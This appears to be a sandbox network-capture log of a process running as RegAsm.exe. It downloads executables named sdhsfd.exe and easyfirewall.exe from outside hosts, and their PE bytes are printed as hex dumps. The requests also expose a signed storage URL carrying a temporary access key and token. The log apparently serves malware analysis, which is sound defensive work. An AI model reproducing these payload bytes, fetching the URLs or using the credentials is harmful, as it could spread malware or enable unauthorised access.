2024-09-21 11:33:42 UTC	8000	IN	Data Raw: cc b8 e3 b4 14 43 7a 68 87 86 22 69 88 d7 e2 28 f2 ce 34 f5 ca 2b 9b c8 71 7e 39 93 78 2d e7 06 78 2f f3 63 3c c4 15 85 b6 35 ea 3e 84 36 fe db b4 d7 07 cf 69 46 83 d0 30 8f 24 3f 59 29 f7 19 d5 de 82 de 44 49 c1 5c f7 2a 74 92 0b f3 58 ff cd 0b c0 69 02 3b 18 30 63 68 3c 97 ef 68 af 32 e6 14 e3 c4 55 e6 54 57 cf 16 5e 71 35 92 4d 2b c2 3b 09 5d c9 7f 3a b2 31 ed 0c 55 4a dd 71 b1 2f 11 85 6d 12 d1 30 61 04 e1 f5 16 72 5f 97 1e d1 31 3b 30 bc 90 32 8a 45 b6 39 51 22 01 cf 6e 27 af 4d 2a 00 49 29 d1 77 ce a3 70 a6 43 86 f4 2d af 46 9e 32 8e 9b 24 ee 7c 9f e3 ea 6f 44 5a cd bc 96 32 41 96 16 0b 88 18 f8 39 e4 62 17 8c 28 b1 a2 17 8c 0d 46 2e ac 19 43 d5 d6 0d ae cf f6 a5 95 de 37 53 80 c5 f6 6a 34 fe d1 c6 bd 04 46 08 63 00 cb fd b3 02 cb 50 b8 f0 cf 5c 7e Data Ascii: Czh"i(4+q~9x-x/c<5>6iF0$?Y)DI\tXi;0ch<h2UTW^q5M+;]:1UJq/m0ar_1;02E9Q"n'MI)wpC-F2$\|oDZ2A9b(F.C7Sj4FcP\~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49726	162.241.61.218	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:42 UTC	197	OUT	GET /sdhsfd.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: nerv.com.pe Cache-Control: no-cache
2024-09-21 11:33:42 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 20 Sep 2024 21:15:05 GMT Accept-Ranges: bytes Content-Length: 222112 Content-Type: application/x-msdownload
2024-09-21 11:33:42 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 54 e5 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0a 03 00 00 08 00 00 00 00 00 00 ee 28 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELTf( @@ `
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 62 ef fb e9 33 23 45 c9 f5 b2 08 e1 66 c6 e0 60 5a 48 e1 b1 79 f5 3c 9c ba 3c da 39 5f 75 05 af bb a2 dc ae 15 19 b6 d4 d0 b8 48 e3 70 2d c1 cc 07 c1 aa 91 35 bb 71 08 fc 31 84 ac c8 0f 63 25 be e6 90 14 44 98 c3 ed 9d 36 15 70 94 1b a6 2c 85 41 ba 4b c3 9d 5f d2 83 a6 0c 99 eb de f1 da 6d 29 ec 62 1b fe 69 e6 97 ab 52 6a 4b 3a 0c 8e d0 e2 be d1 54 39 13 bd 8b 85 a3 d9 1b 36 aa 96 71 be fb 65 c0 df 52 61 73 4b e6 d6 9e ba 16 7f 94 22 1b a4 f0 43 8b 0b b3 ea f4 30 7c 1a 99 7e 7e eb 87 91 f3 c0 ec ff 9d 19 10 b5 fd c3 f7 f4 f4 aa 02 f2 95 78 d3 51 ef 49 6d a3 46 11 b9 62 8a d1 06 7d f5 31 82 3d 58 f7 09 b6 38 47 e5 da 80 ca 28 3b cd 8d 42 65 84 6f 4e 8f b8 b7 8a e1 15 cf 94 d1 e1 84 23 67 8b 5b 39 af 43 d3 fc e8 9a ed 21 01 15 c8 f4 62 42 99 64 38 69 80 10 Data Ascii: b3#Ef`ZHy<<9_uHp-5q1c%D6p,AK_m)biRjK:T96qeRasK"C0\|~~xQImFb}1=X8G(;BeoN#g[9C!bBd8i
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 89 19 d5 7c da 9e ff 76 53 c3 2f 3a 35 47 2b b4 d2 8c 9f cd c7 f6 f9 17 20 a6 ad 03 c4 a2 10 c2 8c ad 70 05 c5 a8 b4 7d 30 9b 8d 36 28 88 3f 1c 95 fb f6 9e 67 fc 11 18 e7 65 55 d3 a5 53 03 f7 40 5f 6e 55 50 cc 4e 40 4d d8 f8 f3 e2 35 b8 44 6f d0 1a 46 2a dd d0 d2 c1 5e f5 65 67 0c 88 5a 58 f7 a8 68 98 20 cb c9 e2 ca a6 75 70 3d 80 b3 6e 84 58 a2 23 46 e0 26 7c 84 86 f2 b0 b7 15 4c 5c eb 40 24 1e 96 dc 51 5e 96 1d 63 f4 84 d4 19 5b 19 bb 46 ec 49 ac 48 c9 19 62 bf d6 9c 13 9d 5d 94 7d 94 7e d0 e0 15 a7 3a 68 24 bb 95 bf df 25 dc 7b f8 2e 3a 4a 0b 9b 38 ec b2 a7 62 ab d0 47 12 2b 41 79 7d 57 96 73 af 23 20 8d b3 18 49 ab 0f 5a e2 bf 97 65 3b d9 f5 a0 ed e6 cb 59 c5 43 ed aa 6e f3 81 5f c9 55 dc 88 9c ca 59 b0 4a 7d 9c 67 22 61 cb d6 b9 18 ef c4 84 f5 f6 e3 Data Ascii: \|vS/:5G+ p}06(?geUS@_nUPN@M5DoF*^egZXh up=nX#F&\|L\@$Q^c[FIHb]}~:h$%{.:J8bG+Ay}Ws# IZe;YCn_UYJ}g"a
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: cf c7 13 11 b5 6b ad 52 6d 32 4f e8 b7 de 2c b5 6e c0 82 41 d6 ba d7 f0 7a ca 04 94 c4 9f aa f1 4e 77 4d 9d c0 3c 3a 8f 7c 04 bb e8 d1 c5 57 53 d9 2c e7 1b 59 bf 2a 0c 13 26 e7 06 59 d2 bc 82 69 9a 6e 8a 16 ea 85 d3 f7 5d 09 a4 8e 72 a6 a8 2a 46 9b 56 96 5c 11 a9 f9 b9 02 66 d7 07 0a 8b 4c d3 5a 7f be 58 e7 4e 0b 55 09 a2 49 8e eb b2 08 97 08 96 a1 c0 8d 50 95 00 7f fb 7c d0 c2 09 82 ea 8e 67 46 24 f6 a0 d1 4b df 28 12 50 65 c0 a7 10 d8 13 19 1c 67 83 36 02 e9 0b b1 ee 7e 28 18 4a 62 8b ec 6e a3 13 27 10 9b 26 2d bd 53 77 04 24 36 40 3e a4 db 8c f5 e8 5a 0d a9 3c 93 a7 7d 47 d3 9e 1a 22 b5 bf 25 12 13 57 62 39 8f 06 57 a4 66 52 84 ce 70 fc 04 bf 3d a7 ce 18 45 9b 0a c4 dd 23 cc e5 08 31 85 78 28 dd ee c2 e7 b3 73 d9 6f 7f 4b ec d3 a0 18 35 18 78 06 99 64 Data Ascii: kRm2O,nAzNwM<:\|WS,Y&Yin]rFV\fLZXNUIP\|gF$K(Peg6~(Jbn'&-Sw$6@>Z<}G"%Wb9WfRp=E#1x(soK5xd
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 3a f3 7a db 8f 2f d7 2c 05 ab 3a b1 bb 35 6a 7a ee 2e ed 6d c6 82 c6 4e ab 5c f0 42 6f 04 e4 e4 60 2b 00 d5 bf 66 6c 26 f1 46 be 08 e9 9e 0c 60 37 81 6e 97 08 8c b3 79 ed bc 32 4f 44 81 19 31 05 d7 7c d7 9a 3d 52 06 14 74 ba 75 f3 d6 14 39 a3 a2 66 e1 4d e3 b9 3d b3 b4 69 26 9b d0 81 3e f8 b3 e0 15 2c eb ba 1e 00 f5 74 58 b0 b8 19 da 18 88 49 84 7f 5c 57 62 37 f3 7e f5 ca 6c 29 a2 08 44 1b c1 5a ad 6e 5e 5a 64 96 82 da 0d fe 4d 52 d9 f6 5e e5 cd 9a 0d b4 cb fd ec 39 86 ab 32 e3 bd 14 28 ff 43 48 8d d5 8f 19 ce 37 48 b5 9e 10 1e 5e 29 19 45 fa b6 f8 4c 1a 96 ad 3d f4 3c 5c a1 10 9b a1 79 d4 02 36 6c 6f 3f 5a 26 71 23 b6 0c 08 3c 00 7a 6e b8 d4 d9 14 c4 e0 7c e4 2d ec 9a 12 6d fa 25 15 76 5c b8 7d 22 23 10 8f d4 27 3d 6f 05 41 fa ab 77 95 48 a5 4c 2b f0 03 Data Ascii: :z/,:5jz.mN\Bo`+fl&F`7ny2OD1\|=Rtu9fM=i&>,tXI\Wb7~l)DZn^ZdMR^92(CH7H^)EL=<\y6lo?Z&q#<zn\|-m%v\}"#'=oAwHL+
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 64 21 3d 73 df 1c f5 28 d9 b8 7c 0f 1d 1f 5f a2 03 3a 49 8a 36 2d 02 09 76 de 9b 1b 39 1e 12 57 94 30 dd 5f 9c 95 17 c0 d8 d0 79 47 d4 9b 85 b6 30 1c 41 04 6a 84 43 d6 e5 f7 07 18 e2 b4 a5 a9 73 1b 13 70 cc 08 44 07 2d a5 ba 49 18 e7 83 2c 18 7a 9e c9 69 0e d1 b7 e3 ab 00 f6 ca 79 d7 90 e6 e9 89 26 89 85 55 e6 d1 c4 3c aa 29 f9 b4 6d 16 4e e1 c3 59 cc e1 bc bd bf 68 ec 78 54 e5 95 2d 04 1f 2a 90 2b d2 9f 0d f6 9d 8f 10 0f dd 24 de d9 64 99 91 ae 90 42 3e 15 39 7e 08 97 98 2f 6e f6 89 47 a1 59 9c 9b 85 72 d1 0f 88 2f 02 24 19 af eb 16 6d 93 ad 4e af ad e8 15 bf 6b 33 0b 2e 1f e0 7d e8 92 20 ce ef 05 79 0e 03 ec 06 30 64 d4 59 4d c4 01 06 3a 3b 6f 4d 01 53 41 73 04 18 e8 88 5d c1 0b 49 83 04 a7 23 66 2f 7d bb 9b 6d 1a 61 06 67 b3 91 17 97 12 5e ff df 28 90 Data Ascii: d!=s(\|_:I6-v9W0_yG0AjCspD-I,ziy&U<)mNYhxT-*+$dB>9~/nGYr/$mNk3.} y0dYM:;oMSAs]I#f/}mag^(
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 89 ea 72 ff c0 79 23 13 8c 7a 47 af 50 d9 8e 0c b0 70 e5 15 a1 59 3e 84 65 ef c8 8b be 19 b7 c3 cf 21 63 a4 6c f3 9e 1b 91 35 e5 71 72 b2 a8 df c7 67 9b cc 10 99 e4 d0 53 b7 53 75 50 fa d0 d1 c1 1f 1d 69 2d 5f 6e 2a c0 e8 bc 78 93 64 3c ee 97 d1 ac 35 79 a0 d5 f7 10 0e f6 35 50 f1 a8 d5 4e c8 a9 30 59 f7 b1 37 e8 41 dc 35 05 b0 33 3f 97 ab 06 37 93 a9 e4 9e ac 3c fe 78 5b b7 cd b7 d0 bf 2a 13 0a 65 40 d9 c1 b0 e9 82 69 06 ce 50 1f 6b 7a 7f b2 bb 6a 10 bd c3 22 00 f3 00 14 c6 c1 c9 a2 9a 5a 81 c2 61 22 04 5f 20 49 2d 31 02 a7 13 d6 2a 8d 0b b9 b1 78 a6 30 d7 2d ca 62 bb 97 72 f1 e7 3e bf 47 91 d1 42 e9 9c 94 30 fa 8d 5b 30 bf 5d 5e f4 af 6a ab 9b 99 84 87 ea c8 2d b4 8b 65 75 35 19 52 bc d3 c3 bf f7 c6 24 e5 a3 b4 e8 26 f6 79 c7 d5 c6 ca 2e e1 b7 ba c7 de Data Ascii: ry#zGPpY>e!cl5qrgSSuPi-_nxd<5y5PN0Y7A53?7<x[e@iPkzj"Za"_ I-1*x0-br>GB0[0]^j-eu5R$&y.
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 9d 7f b7 8e 3e a0 e7 34 ba 5d 1b 25 85 d0 5c b1 0b eb 8b cc c5 10 37 10 5e 25 a3 b1 5d 0c 68 04 8c 57 11 3a a1 6e e7 9b 14 38 c7 85 cf 0d df c3 a7 53 94 70 9c 9f 29 5a 7a 94 27 02 37 70 c7 26 ed 50 08 75 70 6d bc a0 02 0f 66 71 48 f4 06 cb 6d 16 3f 8d 2c ae 32 87 92 c8 1a d9 d3 d2 0f 89 38 43 21 54 b1 35 ff f3 66 aa 2f 54 14 3c b3 61 27 2d 9f fa 1a d5 47 e3 27 7c 9a 74 6a 3a bf 0e 99 68 7b 3e a9 23 15 16 9c d6 1b 40 b6 17 00 18 d0 a2 1d 27 6b 52 fe c2 7f 52 fc 76 92 85 d9 4d de 84 0f ea 9d ff 09 78 03 20 1f 7d 5c 06 a8 1c 8a fd fe 7b d2 07 b5 e2 d4 b4 27 1f 65 b9 aa 98 87 99 5c c4 c3 22 ce 15 40 5b 6b 1f 76 cb 35 43 0b 3d 40 83 15 45 ab ca 6f bb 8c 22 3b fa 4e 20 94 9b 6d ff 90 e5 c2 5a 4d 04 e0 1f e1 7f d6 b7 a8 ee 18 50 2c eb b9 b3 06 32 0c d0 d2 ba 8b Data Ascii: >4]%\7^%]hW:n8Sp)Zz'7p&PupmfqHm?,28C!T5f/T<a'-G'\|tj:h{>#@'kRRvMx }\{'e\"@[kv5C=@Eo";N mZMP,2
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 16 a7 2b 08 41 67 3f cc 3d 04 24 79 42 fc 27 be 2a 1a d9 e3 02 80 8f b6 1e 37 d9 1c bc dc 62 4c a5 8c 3f 7a 71 7c f6 77 10 cc 5e 2b b4 87 4b b5 8c f5 60 62 b2 d6 4f d6 5b 3f b4 4f dd 77 ae b7 63 b8 91 82 12 51 d5 48 0a 11 c7 f9 9b a5 95 ba 52 39 26 fc ea 59 da 29 3a ba 95 a9 88 84 c0 4a 1d bf 23 29 8b 37 02 65 50 0d 61 ab 77 53 3d 70 a0 ac d2 cc 9b d2 25 a7 76 c9 5f 8f 02 06 14 12 53 9a 19 52 ab f0 9a 3c a8 5f 75 7d 2b 1e 55 52 fa 9c aa c5 c1 24 06 b9 c5 19 02 b3 95 43 7a e1 1a eb 1a dc 85 17 ab 94 de c8 3f 27 29 9a 44 56 4c fb 8c 02 1d 00 50 cf 83 77 68 a3 a4 93 2d a3 2d 93 37 37 66 77 16 e1 08 db 30 c9 d5 c6 78 ce 39 bc 12 1f a8 bc 0d 8a c2 fd 78 09 63 4c 99 dc 67 0a f1 d5 61 e7 ef 33 96 a0 4f 9a 96 72 e8 26 47 7e 48 aa 3b 67 5d 34 ae 68 73 98 38 74 c4 Data Ascii: +Ag?=$yB'*7bL?zq\|w^+K`bO[?OwcQHR9&Y):J#)7ePawS=p%v_SR<_u}+UR$Cz?')DVLPwh--77fw0x9xcLga3Or&G~H;g]4hs8t
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: a4 da 6e b2 ac 71 6e 2d ab b2 ad 47 be f6 35 26 87 88 b3 da 2a 37 c4 7a b6 ec 4c fc 8f 1e c9 8e 64 49 14 8b 6d a4 9e 88 4c 7e cc ca c5 fb 9f 78 24 5f 7e a2 be e0 24 4a 3e 03 71 63 3b 26 7d da ce 99 32 de 7a d8 b9 65 63 fc 3d 59 84 9e 9c 63 8f fa f2 27 64 29 6b b1 6d a9 31 af b0 31 ea e1 f9 26 bd 9d e3 2c ef 67 10 73 9d 5f 75 5f 5b 7b 49 ae 9e c8 58 f5 ae 13 e2 cb 7e 17 0a 56 09 2e d6 c4 60 b3 4f 1c d5 98 77 87 52 9c 7e 54 a7 01 8d 4a 90 98 8a 5b e8 0f 06 68 4f b1 e5 23 da 80 57 2a 16 6a 93 42 57 d4 d7 ec 4d 0b d2 2b 56 24 22 f9 1a 5e 16 df 80 4b 20 9a 81 b9 98 e4 ee cc 04 9d 38 f4 46 9a 84 6e 07 af df e5 8e 23 3c a3 f8 00 13 91 c3 37 d4 5c 11 8c 11 68 a7 69 ad 62 40 14 36 cd 03 f6 24 f6 fe 06 6e b1 ca dd b1 2c f5 cd aa 18 83 2c 7e 45 ae 35 53 c3 2c 98 fa Data Ascii: nqn-G5&7zLdImL~x$_~$J>qc;&}2zec=Yc'd)km11&,gs_u_[{IX~V.`OwR~TJ[hO#WjBWM+V$"^K 8Fn#<7\hib@6$n,,~E5S,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49728	52.217.131.81	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:43 UTC	1361	OUT	GET /bbfbfb0f-4597-4ff3-b025-124f61baf271/downloads/7f30c6a5-e68f-46b2-82dc-be29f7fa498f/easyfirewall.exe?response-content-disposition=attachment%3B%20filename%3D%22easyfirewall.exe%22&AWSAccessKeyId=ASIA6KOSE3BNGNWBPVIG&Signature=RG7gLpLQM9DgrtzKECr%2F5hgaEBw%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMSJHMEUCIQDFdamkZ04A05ya5JjE%2BO96KfXxuSlOnxf1KU2WbhcgUAIgZVAiwI6sPTiv1NV5OPTMgcBSTcThYLQvzmHVuZLepfEqsAIIjf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDEWlad7oE1ErA4%2BxniqEAkPBXDxCFRBvIDaMXH7btuCQePvBHv56Z32PJd%2BrgVAazFvcT%2BdKnWonvbgD%2Bl83gjxQvJNinimAUee0zl9An1zjHrdCynGOjIYCd10WgZZ37gvIdBvOekdVSJQN4VvROptCwbViUPgEar%2FvniBV%2B9dqfZdJIelwOng6Fln8TYeg%2Fl7wUG0nZY4e%2FMaCUav1Yku%2FrJGpCSh4n1nCWTKS7G8gb01L5gOI8TnzTwcjXoM61eavAdUsF%2FtJR2uJ0%2BlBHAgp11FQKPWY6BApQnVnlTsKXD%2Fzo4xyODNargGwFCcO8KVN97GtOSH0yfnXUN2LEsVwXZ144uxzDcaZqLaCMuxhFmrDMODaurcGOp0BK2eIjmGLV4b2uwA8kI4vRD9zrjU%2BmUC3l1cVxad27xvHP82pnJ2i1cZxwMDbzFINMt0y8GSW3msaumnuqBQuixm4zhYMg6rT6MFqZP28%2B%2FJuSlZgb%2BkDseti8cbPYao%2FN7W [TRUNCATED] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-09-21 11:33:43 UTC	549	IN	HTTP/1.1 200 OK x-amz-id-2: BMKycSNJV932itez7JoIb+0CN6NENRFyQBqbyYwgV02C8yMoeDKTAj8ZnH5RftKLYkBev8V3+f0= x-amz-request-id: 2GTSTYCSV8P5MTJS Date: Sat, 21 Sep 2024 11:33:44 GMT Last-Modified: Fri, 20 Sep 2024 17:25:15 GMT ETag: "4eacb750002490284888e5adceae7ca7-3" x-amz-server-side-encryption: AES256 x-amz-version-id: IVhJvkxy9Iqiznh75XtLIn3UyKmrbEmY Content-Disposition: attachment; filename="easyfirewall.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 22487040 Connection: close
2024-09-21 11:33:43 UTC	1407	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 f6 68 00 00 1c 57 01 00 2c 09 00 c0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 c0 60 01 00 04 00 00 85 2a 57 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd.$hW,@`*W`
2024-09-21 11:33:43 UTC	16384	IN	Data Raw: 3d ec 68 00 90 48 83 c4 38 c3 0f 1f 80 00 00 00 00 41 55 41 54 55 57 56 53 48 81 ec 98 00 00 00 b9 0d 00 00 00 31 c0 4c 8d 44 24 20 4c 89 c7 f3 48 ab 48 8b 3d 68 54 4d 01 44 8b 0f 45 85 c9 0f 85 9c 02 00 00 65 48 8b 04 25 30 00 00 00 48 8b 1d 6c 53 4d 01 48 8b 70 08 31 ed 4c 8b 25 f3 24 5a 01 eb 16 0f 1f 44 00 00 48 39 c6 0f 84 17 02 00 00 b9 e8 03 00 00 41 ff d4 48 89 e8 f0 48 0f b1 33 48 85 c0 75 e2 48 8b 35 43 53 4d 01 31 ed 8b 06 83 f8 01 0f 84 05 02 00 00 8b 06 85 c0 0f 84 6c 02 00 00 c7 05 ee dd 50 01 01 00 00 00 8b 06 83 f8 01 0f 84 fb 01 00 00 85 ed 0f 84 14 02 00 00 48 8b 05 88 52 4d 01 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 02 00 00 00 31 c9 ff d0 e8 af 40 68 00 48 8d 0d 88 43 68 00 ff 15 56 24 5a 01 48 8b 15 bb 52 4d 01 48 8d 0d 84 fd ff ff 48 89 Data Ascii: =hH8AUATUWVSH1LD$ LHH=hTMDEeH%0HlSMHp1L%$ZDH9AHH3HuH5CSM1lPHRMHHtE11@hHChV$ZHRMHH
2024-09-21 11:33:43 UTC	1024	IN	Data Raw: 48 8b 70 08 48 b9 21 a6 56 6a a1 6e 75 00 48 31 d9 48 89 d0 48 89 f3 e8 85 01 00 00 48 ba bf 63 8f bb 6b ef 52 00 48 0f af c2 48 83 c4 28 5d c3 48 89 d8 48 83 c4 28 5d c3 48 89 d0 0f 1f 44 00 00 e8 9b d2 05 00 b9 18 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d 66 11 aa 00 e8 02 f5 04 00 66 90 e8 5b 72 00 00 48 89 c3 48 8d 05 11 74 86 00 e8 6c 49 03 00 90 48 89 44 24 08 48 89 5c 24 10 90 e8 bb 69 06 00 48 8b 44 24 08 48 8b 5c 24 10 e9 0c ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c1 00 00 00 55 48 89 e5 48 83 ec 28 48 8b 10 48 85 d2 74 72 48 83 7a 18 00 90 74 73 0f b6 72 17 40 f6 c6 20 74 30 48 8d 70 08 48 b9 21 a6 56 6a a1 6e 75 00 48 31 d9 48 89 d0 48 89 f3 e8 b8 00 00 00 48 ba bf 63 8f bb 6b ef 52 00 48 0f af c2 48 83 c4 28 5d c3 48 8b Data Ascii: HpH!VjnuH1HHHckRHH(]HH(]HDHH1Hff[rHHtlIHD$H\$iHD$H\$I;fUHH(HHtrHztsr@ t0HpH!VjnuH1HHHckRHH(]H
2024-09-21 11:33:43 UTC	15360	IN	Data Raw: cc 49 3b 66 10 0f 86 15 02 00 00 55 48 89 e5 48 83 ec 50 0f b6 48 14 f6 c1 08 0f 85 3b 01 00 00 48 89 5c 24 68 0f b6 48 17 83 e1 1f 80 f9 11 0f 86 d0 00 00 00 80 f9 14 74 26 0f 1f 80 00 00 00 00 80 f9 18 0f 84 c3 00 00 00 80 f9 19 0f 85 d2 00 00 00 48 8b 48 38 48 8b 50 40 e9 66 01 00 00 48 83 78 40 00 75 18 48 8b 0b 48 85 c9 74 06 48 8d 53 08 eb 1a 31 c0 31 db 48 83 c4 50 5d c3 48 8b 0b 48 85 c9 74 74 48 8b 49 08 48 8d 53 08 48 83 79 18 00 74 2c 0f b6 71 17 40 f6 c6 20 74 11 48 89 c8 48 89 d3 e8 56 ff ff ff 48 83 c4 50 5d c3 48 8b 1a 48 89 c8 e8 45 ff ff ff 48 83 c4 50 5d c3 48 89 c8 e8 17 ce 05 00 b9 18 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d e2 0c aa 00 0f 1f 00 e8 7b f0 04 00 e8 d6 6d 00 00 48 89 c3 48 8d 05 ec b5 f8 00 48 83 c4 50 5d c3 31 c0 31 db Data Ascii: I;fUHHPH;H\$hHt&HH8HP@fHx@uHHtHS11HP]HHttHIHSHyt,q@ tHHVHP]HHEHP]HHH1H{mHHHP]11
2024-09-21 11:33:43 UTC	16384	IN	Data Raw: 89 d7 4c 8b 42 08 4c 39 c3 7d e8 48 8b 12 44 0f b6 0c 1a 41 80 f9 3d 75 da 31 c9 eb 0d 31 c0 31 db 48 83 c4 10 5d c3 48 ff c1 48 39 cb 7e 39 44 0f b6 0c 0a 76 57 44 0f b6 14 01 45 38 ca 74 e7 45 8d 59 bf 41 80 fb 19 77 04 41 83 c1 20 45 8d 5a bf 41 80 fb 19 77 09 41 83 c2 20 0f 1f 44 00 00 45 38 d1 74 c1 eb 8b 49 29 d8 49 8d 48 ff 48 89 ce 48 f7 d9 48 c1 f9 3f 48 8d 7b 01 48 21 cf 48 8d 04 3a 48 89 f3 48 83 c4 10 5d c3 48 89 c8 48 89 d9 e8 a9 4c 06 00 48 8d 05 61 76 a9 00 bb 16 00 00 00 e8 f8 14 03 00 90 48 89 44 24 08 48 89 5c 24 10 e8 88 29 06 00 48 8b 44 24 08 48 8b 5c 24 10 e9 f9 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 80 4d 3b 66 10 0f 86 5f 03 00 00 55 48 89 e5 48 81 ec f8 00 00 00 48 89 84 24 Data Ascii: LBL9}HDA=u111H]HH9~9DvWDE8tEYAwA EZAwA DE8tI)IHHHH?H{H!H:HH]HHLHavHD$H\$)HD$H\$Ld$M;f_UHHH$
2024-09-21 11:33:43 UTC	1024	IN	Data Raw: 8d 44 24 38 e8 38 4d 02 00 83 3d 21 cd 58 01 01 b9 00 00 00 00 ba 04 00 00 00 48 0f 4f ca 48 89 4c 24 10 48 8b 54 24 28 48 8b 5c 24 30 31 c0 eb 18 48 83 c4 58 5d c3 48 ff c0 48 8b 4c 24 10 48 8b 54 24 28 48 8b 5c 24 30 48 8b 33 0f ba e6 00 72 21 48 89 74 24 20 48 89 f0 48 83 ce 01 f0 48 0f b1 33 40 0f 94 c6 40 84 f6 75 6b 48 8b 74 24 20 31 c0 48 89 44 24 18 48 39 c8 7c 32 48 8d 79 01 48 39 f8 7d 69 48 8d 05 1c be af 00 48 89 04 24 e8 8b e8 05 00 45 0f 57 ff 4c 8b 35 c0 cf 58 01 65 4d 8b 36 4d 8b 36 48 8b 44 24 18 eb 88 c7 04 24 1e 00 00 00 e8 06 04 06 00 45 0f 57 ff 4c 8b 35 9b cf 58 01 65 4d 8b 36 4d 8b 36 48 8b 44 24 18 e9 60 ff ff ff 48 8d 44 24 38 0f 1f 44 00 00 e8 db 4d 02 00 48 83 c4 58 5d c3 48 89 f8 48 8b 7a 30 49 89 f0 48 83 e6 fe 48 89 b7 38 02 Data Ascii: D$88M=!XHOHL$HT$(H\$01HX]HHL$HT$(H\$0H3r!Ht$ HHH3@@ukHt$ 1HD$H9\|2HyH9}iHH$EWL5XeM6M6HD$$EWL5XeM6M6HD$`HD$8DMHX]HHz0IHH8
2024-09-21 11:33:43 UTC	16384	IN	Data Raw: 90 c3 48 8d 05 f8 76 aa 00 bb 1d 00 00 00 e8 8e d1 02 00 48 8b 44 24 18 48 8b 40 30 c6 80 e5 00 00 00 00 48 83 c4 28 5d c3 b8 80 96 98 00 e8 ae 98 02 00 48 8b 0d 4f 57 6d 00 48 8b 09 48 89 0c 24 48 c7 44 24 08 00 00 00 00 e8 d2 00 06 00 45 0f 57 ff 4c 8b 35 07 cc 58 01 65 4d 8b 36 4d 8b 36 48 8b 4c 24 18 48 8b 5c 24 38 48 8b 13 48 85 d2 74 b6 eb 9e 48 8d 05 c5 b3 a8 00 bb 13 00 00 00 e8 1b d1 02 00 90 48 89 44 24 08 e8 b0 e5 05 00 48 8b 44 24 08 e9 c6 fe ff ff cc cc cc cc cc cc 55 48 89 e5 48 83 ec 38 49 8b 4e 30 48 89 4c 24 20 48 8b 4c 24 20 48 89 c2 31 c0 f0 48 0f b1 0a 0f 94 c1 84 c9 74 6b 4c 89 74 24 30 48 85 db 7d 2d 49 8b 4e 30 c6 81 e5 00 00 00 01 48 8b 0d a5 56 6d 00 48 83 39 00 0f 85 16 02 00 00 48 c7 c0 ff ff ff ff e8 e7 97 02 00 e9 bc 01 00 00 Data Ascii: 